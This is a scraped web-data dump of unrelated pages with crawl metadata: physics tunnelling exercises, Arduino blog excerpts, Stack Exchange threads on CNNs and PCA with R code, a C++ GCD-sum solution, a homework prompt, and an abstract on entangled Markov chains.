eV.]\n\nWhat is the current after the step?\n\nA suitable wavefunction is an eigenfunction of momentum ψ(x) = Aexp(ikx), in the region x < 0. The incident current I = 10 μA gives the incident flux F. The flux defines the constant A in Equation 8,\n\n$F = \\lvert\\,A\\,\\rvert^2\\dfrac{\\hbar k}{m}$(Eqn 8)\n\nand the angular wavenumber k = 1.15 × 1010 m−1 was found from the electron kinetic energy in Question T3.\n\n$F = \\dfrac{I}{\\rm e} = \\rm \\dfrac{10\\times10^{-6}\\,A}{1.6\\times10^{-19}\\,C} = 6.25\\times10^{13}\\,s^{-1}$\n\nSo$A^2 = \\dfrac{Fm}{\\hbar k} = \\rm \\dfrac{6.25\\times10^{13}\\times9.11\\times10^{-31}}{1.05\\times10^{-34}\\times1.15\\times10^{10}}\\,m{-1} = 4.72\\times10^7\\,m^{-1}\\quad\\text{and}\\quad A = 6.9\\times10^3\\,m^{1/2}$\n\nThe current after the step is given by the incident current multiplied by the transmission coefficient T = 0.99. This is 9.9 μA.\n\n(Reread Subsections 2.4 to 2.6 if you had difficulty with this question.)\n\nQuestion E4 (A6)\n\nAt the junction between copper and an insulator, the potential energy of a conduction electron increases by 11.1 eV. Find the penetration depth, into the insulator, of a typical conduction electron with kinetic energy 7.0 eV.\n\nSketch the graph of the density function and account for the series of maxima and minima inside the copper.",
null,
"Figure 7 The density function P(x) in the region of a potential step at x = 0. The incident beam is from the left. The energy E of each particle is less than the height of the step V. In region (I), there is a pattern of maxima and minima due to the interference between incident and reflected waves of equal amplitude. In region (II), the density decreases exponentially.\n\nThe penetration depth into the classically forbidden region is given by Equation 17,\n\n$D = \\dfrac{\\hbar}{2\\sqrt{2m(V-E)\\os}}$(Eqn 17)\n\nV = 11.1 eV and E = 7.0 eV, so:\n\n$D = \\rm \\dfrac{1.05\\times10^{-34}}{2\\sqrt{2\\times9.11\\times10^{-31}\\times(11.1-7.0)\\times1.6\\times10^{-19}}}\\,m\\\\ \\phantom{D }= 0.48\\times10^{-10}\\,m$\n\nYour sketch of the density function should look like Figure 7. Region (I) is now the conducting copper and region (II) is the insulator. The series of maxima and minima within the copper conductor are caused by the interference of the incident and reflected waves. The conduction electrons penetrate a distance approximately one atomic radius into the insulator.\n\nThis effect accounts for the conduction of electric current between two conductors separated by a thin oxidized layer.\n\nQuestion E5 (A8, A9 and A10)\n\nA beam of electrons with kinetic energy 5 eV approaches a potential barrier of height 10 eV and width 1 nm. Sketch the graph of the density function near the barrier.\n\nCalculate the transmission coefficient, T, according to Equation 24,\n\n$T \\approx \\dfrac{16\\exp(-2\\alpha d)}{(k/\\alpha+\\alpha/k)^2}$(Eqn 24)\n\nAre the approximations made to derive the formula valid in this case?\n\nWhat is the value of T when the barrier potential is reduced to 6 eV?\n\nIs Equation 25,\n\nT ≈ 4exp(−αd)(Eqn 25)\n\nalso a good approximation?",
null,
"Figure 10 The particle density function P(x) near a potential barrier of height V. Particles are incident from the left, each with energy E less than V.\n\nYour sketch of the density function should look similar to Figure 10. Significant features are the interference pattern in region (I), the exponential fall in region (II) and the constant value in region (III). The transmission coefficient is given by Equation 24 to a good approximation, provided the width of the barrier d is greater than 1/α:\n\n$T \\approx \\dfrac{16\\exp(-2\\alpha d)}{(k/\\alpha+\\alpha/k)^2}$(Eqn 24)\n\nWe are given $k = \\sqrt{2mE\\os}/\\hbar = \\rm 1.15\\times10^{10}\\,m^{-1}$ (Question T3), $\\alpha = \\sqrt{2m(V-E)\\os}/\\hbar = 1.15\\times10^{10}\\,{\\rm m}^{-1 } = k$, and d = 10−9 m.\n\nThe condition αd > 1 is satisfied, so we can proceed.\n\n$T \\approx \\rm \\dfrac{16\\exp(-2\\times1.15\\times10^{10}\\times10^{-9})}{(1+1)^2} = 4\\exp(-23) = 4.1\\times10^{-10}$\n\nTransmission coefficients as small as this are quite normal in electronic applications. Now see what happens when the height of the barrier is reduced to 6 eV:\n\nVE = 1 eV\n\nso that $\\alpha = \\rm \\dfrac{1.15\\times10^{10}}{\\sqrt{5\\os}}\\,m^{-1} = 0.514\\times10^{10}\\,m^{-1}$.\n\n$T \\approx \\rm \\dfrac{16\\exp(-2\\times0.514\\times10^{10}\\times10^{-9})}{(1/\\sqrt{5\\os}+\\sqrt{5\\os}/1)^2} = \\dfrac{16\\exp(-10.3)}{7.20} = 7.62\\times10^{-5}$\n\nThe transmission coefficient has increased by a factor of 105. In the tunnel diode, it is possible to reduce the barrier height within one nanosecond so a very fast current switch can be constructed.\n\nApplying Equation 25,\n\nT ≈ 4exp(−αd)(Eqn 25)\n\ninstead of Equation 24 gives exactly the same result in the case when α = k.\n\nHowever for the 6 eV barrier, we get:\n\nT ≈ 4exp(−2αd) = 4exp(−2 × 0.514 × 1010 × 10−9) ≈ 13.7 × 10−5\n\nThe simpler approximate formula is wrong by a factor of two. This is not serious in most applications!\n\nQuestion E6 (A9, A10 and A11)\n\nIn a modern scanning tunnelling microscope, the tip of a fine needle is 1 nm from a metal surface. The needle to metal gap behaves like a potential barrier of height 5 eV. Calculate the transmission coefficient T for electrons of energy 2.5 eV.\n\nBy what factor does T change when the gap increases to 1.1 nm? What is the significance of this result?\n\nSince we are interested only in the change in the transmission factor we use the approximation given by Equation 25,\n\nT ≈ 4exp(−αd)(Eqn 25)\n\nwith $\\alpha = \\sqrt{2m(V-E)\\os}/\\hbar$.\n\nIt is given that VE = 2.5 eV and d = 10−9 m.\n\nAt 5 eV, k = 1.15 × 1010 m−1 so that α = 0.813 × 1010 m−1.\n\nT = 4exp(−2 × 0.813 × 1010 × 10−9) = 4exp(−16.3) ≈ 3.3 × 10−7\n\nNow rework the calculation with d = 1.1 × 10−9 m.\n\nT ≈ 4exp(−2 × 0.813 × 1010 × 1.1 × 10−9) = 4exp(−17.9) ≈ 0.7 × 10−7\n\nThe transmission factor has reduced by a factor of 5. This means that the scanning tunnelling microscope can readily detect single atoms in the surface of a metal (remember that atoms are typically 0.1 nm in size)."
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https://www.electronicsblog.net/tag/arduino/ | [
"# Simple angle meter using ADXL335 accelerometer [Arduino]",
null,
"ADXL335 is 3 axis accelerometer with analog output from Analog Devices. You can buy it as an evaluation kit with standard 2,5 mm connector.\n\nADXL335 acceleration measurement range is +/- 3 g. Supply voltage is 1.8 – 3.6 V, however all specifications at the datasheet is given at 3.0 V. This accelerometer has 3 outputs for X,Y,Z axis which voltage is proportional to acceleration on specific axis.\n\nAt midpoint when acceleration is 0 g output is typically 1/2 of supply voltage. If a supply voltage is 3V, then output is 1.5 V. Output sensitivity typically is 300 mV/g.\n\n# Arduino frequency counter/duty cycle meter",
null,
"This meter gives the best results at 0 – 1000 Hz range. It works by measuring square wave total and high period duration using 16 bit hardware counter.",
null,
"As you may know frequency = 1/Period and Duty Cycle = High period duration/total period duration.\n\n# Arduino GPS clock using NMEA protocol",
null,
"GPS for accurate synchronization and position measurement must use precise clock, so GPS satellites are equipped with atomic clocks. Clock accuracy is amazing ± 1 second in 1 million years. Using GPS module is available not only acquire position, speed, bet also time and date, so in this post I’ll explain how to do it.\n\nGPS clock consist of old Sirf II GPS module, MAX 232, Arduino Mega and LCD display (Hitachi HD44780).\n\nSirf II module has RS-232 interface for communication and it can be connected to PC Com port. Atmega in Arduino board has UART interface. RS-232 basically is the same UART, only zeros and ones voltage levels are different. To match levels MAX232 driver is used. Today’s GPS modules have UART port, so there isn’t any need for MAX232.\n\nArduino in this project doesn’t have clock function it just pass time and date from GPS module to display. It works that way because GPS module has internal RTC(Real time clock) it’s not accurate, but it is synchronized to GPS system.\n\nAs you can see from video GPS module RTC is sychronised before GPS fix happens, but GPS fix is only one indicator that shows that clock is synchronised.\n\n# Examples of using Arduino/Atmega 16 bit hardware timer for digital clock\n\nArduino Mega with Atmega 1280 has four 16 bit timers, that could be used for various purposes, like time/frequency measurement, control with precise timing, PWM generation. Today I hope to explain how to use timer for clocks, timers (countdown) and other things, where You need µCPU to perform some tasks after precise period of time. I’ll give You two examples:\n\n• Pseudo 1 second timer\n• Real 1 second timer\n\nHow counter works? It is simple independent 16 bit accumulator, which value increases by 1 at clock cycle. 16 bit means that maximum counter’s value is 65536. When this value is reached counter starts counting from 0 again and gives hardware interrupt. Counter value could be changed any time. This is normal counter mode, Atmega 1280 offers total 14 operating modes.\n\nPseudo 1 second timer (1.048576 s)\n\n# 4 digits, 7 segments LED display multiplexing with Arduino\n\nLast time I showed You how to control 1 digit 7 segment LED display with Arduino. This time it’s not 1, but 4 digits. To connect 1 digit to Arduino we had to use 8 ports, so to connect 4 digits we need to have 4×8=32? Not necessary. Where is a way to use much less ports, it’s called multiplexing. Using multiplexing at one time only one digit is active(e.g. for 2ms). All digits is turned on is serial, but because human’s eye is inert we have illusion, that all digits are lighting at same time.\n\nAs You can see form schematic bellow with multiplexing implemented we required only 4 additional ports compared to 1 digit circuit, total – 12.",
null,
"Because at the same time only one digit will be on All 4 digits segments inputs are connected together. By connecting digits common cathodes to ground we are controlling which digit shall be turned on. Atmega 1280 µCPU port can drain(receive) maximum 40 mA current. If all one digits segments are on, we are having 20×8= 160 mA that is to much, so we can’t to connect common cathodes directly to Arduino ports. Therefore I have used BC547 NPN transistors as switches. Transistor is opened, when positive voltage is applied at the base.\n\nLet’s see the code."
]
| [
null,
"https://www.electronicsblog.net//wp-content/uploads/P1020697-e1310825087481-300x288.jpg",
null,
"https://www.electronicsblog.net//wp-content/uploads/00027.MTS_snapshot_00.17_2011.03.06_18.51.02-300x168.jpg",
null,
"https://www.electronicsblog.net//wp-content/uploads/duty.png",
null,
"https://www.electronicsblog.net//wp-content/uploads/gps.mp4_snapshot_01.50_2010.11.12_18.28.38-1024x576.jpg",
null,
"https://www.electronicsblog.net//wp-content/uploads/7s-300x113.png",
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]
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https://fuelgreatminds.com/product/common-core-aligned-decomposing-numbers-to-create-algebraic-expressions/ | [
"# Common Core Aligned: Decomposing Numbers to Create Algebraic Expressions Using the Distributive Property\n\n\\$5.00\n\nThis product contains lesson plans for the 6th grade math Common Core Standard 6 EE 2b. It contains:\n\n• instructions on how to teach the distributive property\n• lesson plan decomposing addition and subtraction problems\n• text me activity\n• lesson plan decomposing multiplication problems with even and square numbers\n• math maid game\n[]"
]
| [
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.8211597,"math_prob":0.58783567,"size":443,"snap":"2022-40-2023-06","text_gpt3_token_len":93,"char_repetition_ratio":0.123006836,"word_repetition_ratio":0.0,"special_character_ratio":0.18735892,"punctuation_ratio":0.05882353,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96045816,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-09-30T03:07:37Z\",\"WARC-Record-ID\":\"<urn:uuid:899f79e0-7e68-42c8-8f46-6cb39f81a62c>\",\"Content-Length\":\"180308\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:a181a0b3-22f5-4899-a0ed-49b2bbede087>\",\"WARC-Concurrent-To\":\"<urn:uuid:23a51610-706c-4cae-b19a-4a3a4b7bd43a>\",\"WARC-IP-Address\":\"35.209.175.78\",\"WARC-Target-URI\":\"https://fuelgreatminds.com/product/common-core-aligned-decomposing-numbers-to-create-algebraic-expressions/\",\"WARC-Payload-Digest\":\"sha1:GDG7YAISUXYV5UBG2QQ4QKSH4VY5HY4W\",\"WARC-Block-Digest\":\"sha1:IQY2EKGLXDZG222DQMRKCSWUQWMPZUAR\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-40/CC-MAIN-2022-40_segments_1664030335424.32_warc_CC-MAIN-20220930020521-20220930050521-00439.warc.gz\"}"} |
https://stats.stackexchange.com/questions/293968/convolutional-neural-network-with-images-that-have-color-channels | [
"# Convolutional neural network with images that have color channels\n\nAccording to this guide, when applying a kernel to an input volume, the kernel always has to have the same depth as the input volume. When using images, I figured, that means the color channels.\n\nExample 1. For example, suppose that the input volume has size [32x32x3], (e.g. an RGB CIFAR-10 image). If the receptive field (or the filter size) is 5x5, then each neuron in the Conv Layer will have weights to a [5x5x3] region in the input volume, for a total of 5*5*3 = 75 weights (and +1 bias parameter). Notice that the extent of the connectivity along the depth axis must be 3, since this is the depth of the input volume.\n\nExample 2. Suppose an input volume had size [16x16x20]. Then using an example receptive field size of 3x3, every neuron in the Conv Layer would now have a total of 3*3*20 = 180 connections to the input volume. Notice that, again, the connectivity is local in space (e.g. 3x3), but full along the input depth (20).\n\nSince we are calculating a dot product for every neuron in the following layer, that means that every feature map is 2 dimensional again with no color channel, right? So that means, the kernels for all succeeding layers have to be 2-dimensional again?\n\nAlso, if anyone knows working code in C++ that is not using any library like TensorFlow, I would much appreciate that. That would really help me understand all this way better than the rather abstract documents about the topic.\n\n• Questions asking for code are generally off topic here. Your substantive questions on CNNs are on topic, but you may not get answers on the code part. – gung Jul 23 '17 at 13:41\n\nYes, when you start with a stack of two dimensional channels then each successive convolutional layer will use multiple stacks of two dimensional kernels. Those kernels are stacked to the same depth as the number of input channels, and each such stack sums up to produce a single output channel. So typically the kernel weights are stored in a four dimensional array $N_{kwidth} \\times N_{kheight}\\times N_{input channels} \\times N_{output channels}$"
]
| [
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.92577183,"math_prob":0.96279514,"size":1417,"snap":"2019-35-2019-39","text_gpt3_token_len":343,"char_repetition_ratio":0.13446568,"word_repetition_ratio":0.008032128,"special_character_ratio":0.25194073,"punctuation_ratio":0.1220339,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9943328,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-09-16T08:32:13Z\",\"WARC-Record-ID\":\"<urn:uuid:f2c78cb4-3f0a-4088-b440-b2e323383a65>\",\"Content-Length\":\"138642\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:3c09d91b-8119-4189-ba7d-07cb35e3c59b>\",\"WARC-Concurrent-To\":\"<urn:uuid:f28d9916-b51d-4f1f-8f83-1e2dc98513b5>\",\"WARC-IP-Address\":\"151.101.65.69\",\"WARC-Target-URI\":\"https://stats.stackexchange.com/questions/293968/convolutional-neural-network-with-images-that-have-color-channels\",\"WARC-Payload-Digest\":\"sha1:5TRURKFUB4IHAB5F6SPKU3JYMIG36EAK\",\"WARC-Block-Digest\":\"sha1:F3WVRBEUUAAMX5LZUZ4SMQUUL2RABQRC\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-39/CC-MAIN-2019-39_segments_1568514572516.46_warc_CC-MAIN-20190916080044-20190916102044-00140.warc.gz\"}"} |
https://datascience.stackexchange.com/questions/24740/assessing-group-similarities-and-dissimilarities-post-pca | [
"# Assessing Group Similarities and Dissimilarities Post PCA\n\nThe goal is to assess similarity and dissimilarity between 6 known groups.\n\nThe original data began with the 6 known groups and 2,700+ variables all on a scale of 0 to 100.\n\nI have performed PCA to reduce the 2700+ variables into 5 principal components using the dudi.pca function from the ade4 package in R. Here are the Eigenvalues for the components:\n\n eigenvalue variance.percent cumulative.variance.percent\nDim.1 998.3274 36.635867 36.63587\nDim.2 670.1278 24.591848 61.22771\nDim.3 482.2372 17.696776 78.92449\nDim.4 352.2806 12.927728 91.85222\nDim.5 222.0270 8.147781 100.00000\n\n\nI would now like to assess the distances between the 6 known groups. Is this done as simply as generating a distance matrix using each group's coordinates for each of the principal components? If so, I am leaning towards using Manhattan distance to get the absolute distance.\n\nHere are the coordinates of each group:\n\n Dim.1 Dim.2 Dim.3 Dim.4 Dim.5\nGroup 1 69.019038 7.940190 0.4985599 - 6.847178 0.3964117\nGroup 2 -16.302322 -25.965373 -29.3084201 -23.013430 9.9183010\nGroup 3 -26.313850 50.159662 6.9486408 -10.713924 5.2883152\nGroup 4 -12.800767 -26.211432 39.5067264 - 8.775551 - 8.8840592\nGroup 5 - 9.228404 2.648632 -20.4297314 16.685426 -26.8559444\nGroup 6 - 4.373694 -8.571679 2.7842244 32.664657 20.1369757\n\n\nIf not, what would be the appropriate way to assess individual similarity/ dissimilarity post PCA?\n\n• I think you need to give a little more context into the problem (e.g. what question you're trying to answer) – David Marx Feb 13 '18 at 8:16\n• Thanks David, the question to be answered is how different are the 6 known groups in terms of their affinities towards certain digital behaviours/interests. Each group has an affinity to the 2,700 digital behaviours on a scale of 0 to 100, so based on those behaviour affinities, how different is each group compared to eachother. Hope that clarifies – hc_ds Feb 13 '18 at 8:21\n• What are you hoping to learn? A hierarchy of groups? A suggested reduction into a smaller number of groups? A profile for a group with respect to its most discriminating behaviors? Which group is the most unlike the others? Having learned \"how different each group is\", what are you planning to do with that information? Concretely, what are you trying to learn? What's your hypothesis? – David Marx Feb 13 '18 at 8:30\n• I want to learning the following: 1) what are the drivers of difference between groups. 2) which groups are the most similar and which are the most different. And this is info is needed to drive decisions on how to interact with each group – hc_ds Feb 13 '18 at 8:42\n• Regarding (1): do you want to know how each of your features (the digital behaviors) influences group membership? Just the most important? Do you need to be able to rank features somehow? Regarding (2): why is it helpful to understand which groups are the most similar/different? Do you need to be able to understand this similarity/difference in the context of the drivers? What does similarity/difference mean to you in a business context? How does knowledge of group similarity/difference affect your decision process? – David Marx Feb 13 '18 at 8:58\n\nAssuming you pick e.g. Euclidean distance, one simple way to find inter-group distance would be to first calculate the group centroid, i.e. average location of each group by averaging the locations of each group together. You can do this by just averaging all the 5x1 vectors belonging to a group, and repeat for each group. Then calculate the Euclidean distance between the resulting 6 centroids, giving you a 6x6 distance matrix.\n\n• Thanks @tom. The distance indicates how similar or dissimilar the individual groups are when it comes to the interests making up each of the components – hc_ds Nov 15 '17 at 20:44\n\nTo measure what features are the \"drivers of difference between groups\", you're going to need to frame this as a classification problem. Within this framework, you can use variable importance (and potentially coefficient values, depending on the model) to perform inference on drivers, i.e. to identify and rank them.\n\nApplying PCA as a pre-processing step will make it significantly harder to identify what variables are drivers for specific classes. PCA is agnostic to class assignment: you can use PCA eigenvector components and loadings to interpret what variables are responsible for the bulk of the variance in your data, but that isn't actually what you want. Imagine if your classes were long elipsoidal clusters, each with the exact same covariance matrix but a different center (i.e. the elipses are \"parellel\"): the components given by PCA would be mainly influenced by the elipsoid shape (i.e. the shared covariance matrix) rather than by differences between groups. If you're interested in understanding the drivers of group differences, I strongly recommend you drop the PCA step.\n\nI still don't have a good handle on exactly what you're hoping to get out of \"which groups are most similar\", but I suspect the \"proximity\" measure given by random forests would satisfy your need here. This measure is actually between observations, but you can take averages to get the expected proximity between groups. A benefit of using random forests here is that they have built-in variable importance measures, and you can even introspect them to understand the drivers behind individual observations.\n\nHere's a little demo showing how to use a random forest model to detect drivers via variable importance, and measure group similarity via average inter-observation proximity:\n\nFirst, set up the data and fit a model\n\nlibrary(randomForest)\ndata(iris)\nset.seed(123)\n\nunq_classes <- unique(iris$Species) n_classes <- length(unq_classes) iris.rf <- randomForest(Species ~ ., data=iris, importance=TRUE, proximity=TRUE) Variable importances, rescaled to [0,1] with \"1\" indicating the most important variable: var_imp <- importance(iris.rf)[,1:(n_classes+1)] var_imp <- apply(var_imp, 2, function(m) m/max(m)) Here's the result (that last column is the marginalized importance): setosa versicolor virginica MeanDecreaseAccuracy Sepal.Length 0.2645863 0.2403256 0.2503047 0.3336813 Sepal.Width 0.1927240 0.0314708 0.1716495 0.1564093 Petal.Length 0.9525359 0.9589636 0.9356667 0.9549433 Petal.Width 1.0000000 1.0000000 1.0000000 1.0000000 And our mean proximities, again rescaled to [0,1] with 1 indicating the most similar pair of groups: prx <- iris.rf$proximity\nmean_prx <- matrix(NA, n_classes, n_classes)\nfor (i in 1:(n_classes-1)){\nfor (j in (i+1):n_classes){\ncls_i <- iris$Species == unq_classes[i] cls_j <- iris$Species == unq_classes[j]\nmean_prx[j,i] <- mean(prx[cls_i, cls_j])\n}\n}\n\nmean_prx <- mean_prx/max(mean_prx, na.rm=TRUE)\nrownames(mean_prx) <- unq_classes\ncolnames(mean_prx) <- unq_classes\n\n\nGiving us:\n\n setosa versicolor virginica\nsetosa NA NA NA\nversicolor 0.0267520374 NA NA\nvirginica 0.0007778552 1 NA\n\n\nHere's what the data looks like to put these results in context:",
null,
""
]
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"https://i.stack.imgur.com/eWvFu.png",
null
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.75256366,"math_prob":0.86184907,"size":1389,"snap":"2019-51-2020-05","text_gpt3_token_len":478,"char_repetition_ratio":0.09963899,"word_repetition_ratio":0.0,"special_character_ratio":0.487401,"punctuation_ratio":0.21385542,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9723742,"pos_list":[0,1,2],"im_url_duplicate_count":[null,4,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-01-23T17:05:21Z\",\"WARC-Record-ID\":\"<urn:uuid:fdd6fd11-1b8e-4800-a4d2-3368435023d3>\",\"Content-Length\":\"151179\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:67d090f9-6a29-44fb-a714-ccc8c7d0adc7>\",\"WARC-Concurrent-To\":\"<urn:uuid:6b31a2b5-aadc-4ef1-b492-d70eaaef9807>\",\"WARC-IP-Address\":\"151.101.129.69\",\"WARC-Target-URI\":\"https://datascience.stackexchange.com/questions/24740/assessing-group-similarities-and-dissimilarities-post-pca\",\"WARC-Payload-Digest\":\"sha1:7AOTZ5CGUFD4ISI2N6CD4EZG4XRRLFEV\",\"WARC-Block-Digest\":\"sha1:P42C7P7YVFTBTL5XUSEDSTR3VLEU2A7B\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-05/CC-MAIN-2020-05_segments_1579250611127.53_warc_CC-MAIN-20200123160903-20200123185903-00271.warc.gz\"}"} |
https://homeworkhelpwriters.com/does-the-law-of-diminishing-marginal-returns-to-labor-apply-to-the-production-process/ | [
"# Does the law of diminishing marginal returns to labor apply to the production process?\n\nA firm that manufactures office desks has the following production function in the short run: Q = 40 Show more A firm that manufactures office desks has the following production function in the short run: Q = 400 L0.8 K0.5 where Q = the quantity of chairs produced in a month L = the amount of labor (hours of work) used in a month K = the amount of capital (building machines equipment) used. Assume that in the short run L = 1000 and K = 100. 1. What is the quantity produced if L = 1000 and K = 100? (5 points) 2. What is the quantity produced if L = 1200 and K = 100? (5 points) 3. What is the quantity produced if L = 1400 and K = 100? (5 points) 4. Does the law of diminishing marginal returns to labor apply to the production process? Why? Why not? Show less\n\n### QUICK QUOTE\n\nApproximately 250 words\n\\$12"
]
| [
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.9366508,"math_prob":0.98305327,"size":852,"snap":"2022-40-2023-06","text_gpt3_token_len":218,"char_repetition_ratio":0.14150943,"word_repetition_ratio":0.4121212,"special_character_ratio":0.29577464,"punctuation_ratio":0.09714286,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9914388,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-10-06T21:16:40Z\",\"WARC-Record-ID\":\"<urn:uuid:23c2a60f-855b-4b55-ae1d-0d3368056863>\",\"Content-Length\":\"61593\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:7a7b67ac-88a5-44a9-a1e2-0046d887d900>\",\"WARC-Concurrent-To\":\"<urn:uuid:ba416fe3-a057-4ff7-b256-cbcb05768c96>\",\"WARC-IP-Address\":\"66.29.137.17\",\"WARC-Target-URI\":\"https://homeworkhelpwriters.com/does-the-law-of-diminishing-marginal-returns-to-labor-apply-to-the-production-process/\",\"WARC-Payload-Digest\":\"sha1:4IWD7BSF7EPER227GVIHR5KDDDTKB4NC\",\"WARC-Block-Digest\":\"sha1:FQ3XHOKGGDQG3UN7DRQ3M3D2JKGNLDQ5\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-40/CC-MAIN-2022-40_segments_1664030337855.83_warc_CC-MAIN-20221006191305-20221006221305-00554.warc.gz\"}"} |
https://news.68idc.cn/mobilesys/J2ME/20150925562043.html | [
" uva 11426-欧拉函数 - 鸿网互联\n\n# uva 11426-欧拉函数\n\nProblem J GCD Extreme (II) Input: Standard Input Output: Standard Output Given the value of N, you will have to find the value of G. The definition of G is given below: HereGCD(i,j) means the greatest common divisor of integeriand integer\n\nProblem J\nGCD Extreme (II)\nInput:\nStandard Input\n\nOutput: Standard Output\n\nGiven the value of N, you will have to find the value of G. The definition of G is given below:",
null,
"Here GCD(i,j) means the greatest common divisor of integer i and integer j.\n\nFor those who have trouble understanding summation notation, the meaning of G is given in the following code:\n\n G=0; for(i=1;i\n\n##### Input\n\nThe input file contains at most 100 lines of inputs. Each line contains an integer N (1<N<4000001). The meaning of N is given in the problem statement. Input is terminated by a line containing a single zero.\n\n#### Output\n\nFor each line of input produce one line of output. This line contains the value of G for the corresponding N. The value of G will fit in a 64-bit signed integer.\n\n# Sample Input Output for Sample Input\n\n 10 100 200000 0 67 13015 143295493160\n\n```#include<stdio.h>\n#include<string.h>\n#define MAXD 4000010\nconst int N = 4000000;\ntypedef long long LL;\nint phi[MAXD];\nLL a[MAXD];\nvoid prep()\n{\nmemset(a, 0, sizeof(a));\nfor(int i = 1; i <= N; i ++) phi[i] = i;\nfor(int i = 2; i <= N; i ++)\n{\nif(phi[i] == i)\n{\nfor(int j = i; j <= N; j += i)\nphi[j] = phi[j] / i * (i - 1);\n}\nfor(int j = 1; j * i <= N; j ++)\na[j * i] += j * phi[i];\n}\nfor(int i = 1; i <= N; i ++) a[i] += a[i - 1];\n}\nint main()\n{\nprep();\nint n;\nwhile(scanf(\"%d\", &n), n) printf(\"%lld\\n\", a[n]);\nreturn 0;\n}```\n\n<"
]
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null,
"http://cdn.verydemo.com/upload/2013_06_17/13714121219520.gif",
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https://art.torvergata.it/handle/2108/46527 | [
"Motivated by the problem of finding a satisfactory quantum generalization of the classical random walks, we construct a new class of quantum Markov chains which are at the same time purely generated and uniquely determined by a corresponding classical Markov chain. We argue that this construction yields as a corollary, a solution to the problem of constructing quantum analogues of classical random walks which are \"entangled\" in a sense specified in the paper. The formula giving the joint correlations of these quantum chains is obtained from the corresponding classical formula by replacing the usual matrix multiplication by Schur multiplication. The connection between Schur multiplication and entanglement is clarified by showing that these quantum chains are the limits of vector states whose amplitudes, in a given basis (e.g. the computational basis of quantum information), are complex square roots of the joint probabilities of the corresponding classical chains. In particular, when restricted to the projectors on this basis, the quantum chain reduces to the classical one. In this sense we speak of entangled lifting, to the quantum case, of a classical Markov chain. Since random walks are particular Markov chains, our general construction also gives a solution to the problem that motivated our study. In view of possible applications to quantum statistical mechanics too, we prove that the ergodic type of an entangled Markov chain with finite state space (thus excluding random walks) is completely determined by the corresponding ergodic type of the underlying classical chain.\n\nAccardi, L., & Fidaleo, F. (2005). Entangled Markov chains. ANNALI DI MATEMATICA PURA ED APPLICATA, 184(3), 327-346 [10.1007/s10231-004-0118-4].\n\n### Entangled Markov chains\n\n#### Abstract\n\nMotivated by the problem of finding a satisfactory quantum generalization of the classical random walks, we construct a new class of quantum Markov chains which are at the same time purely generated and uniquely determined by a corresponding classical Markov chain. We argue that this construction yields as a corollary, a solution to the problem of constructing quantum analogues of classical random walks which are \"entangled\" in a sense specified in the paper. The formula giving the joint correlations of these quantum chains is obtained from the corresponding classical formula by replacing the usual matrix multiplication by Schur multiplication. The connection between Schur multiplication and entanglement is clarified by showing that these quantum chains are the limits of vector states whose amplitudes, in a given basis (e.g. the computational basis of quantum information), are complex square roots of the joint probabilities of the corresponding classical chains. In particular, when restricted to the projectors on this basis, the quantum chain reduces to the classical one. In this sense we speak of entangled lifting, to the quantum case, of a classical Markov chain. Since random walks are particular Markov chains, our general construction also gives a solution to the problem that motivated our study. In view of possible applications to quantum statistical mechanics too, we prove that the ergodic type of an entangled Markov chain with finite state space (thus excluding random walks) is completely determined by the corresponding ergodic type of the underlying classical chain.\n##### Scheda breve Scheda completa Scheda completa (DC)\nPubblicato\nRilevanza internazionale\nArticolo\nSì, ma tipo non specificato\nSettore MAT/06 - Probabilita' e Statistica Matematica\nEnglish\napplications of selfadjoint operator algebras to physics; non commutative probability and statistics; quantum information theory; quantum Markov processes; qantum random walks\nAccardi, L., & Fidaleo, F. (2005). Entangled Markov chains. ANNALI DI MATEMATICA PURA ED APPLICATA, 184(3), 327-346 [10.1007/s10231-004-0118-4].\nAccardi, L; Fidaleo, F\nArticolo su rivista\nFile in questo prodotto:\nFile\nEntangled Markov chains.pdf\n\naccesso aperto\n\nDimensione 482.92 kB\nUtilizza questo identificativo per citare o creare un link a questo documento: `http://hdl.handle.net/2108/46527`\n•",
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"23\n•",
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https://projecteuclid.org/journals/advances-in-operator-theory/volume-2/issue-3/Two-weight-norm-inequalities-for-the-higher-order-commutators-of/10.22034/aot.1612-1075.full | [
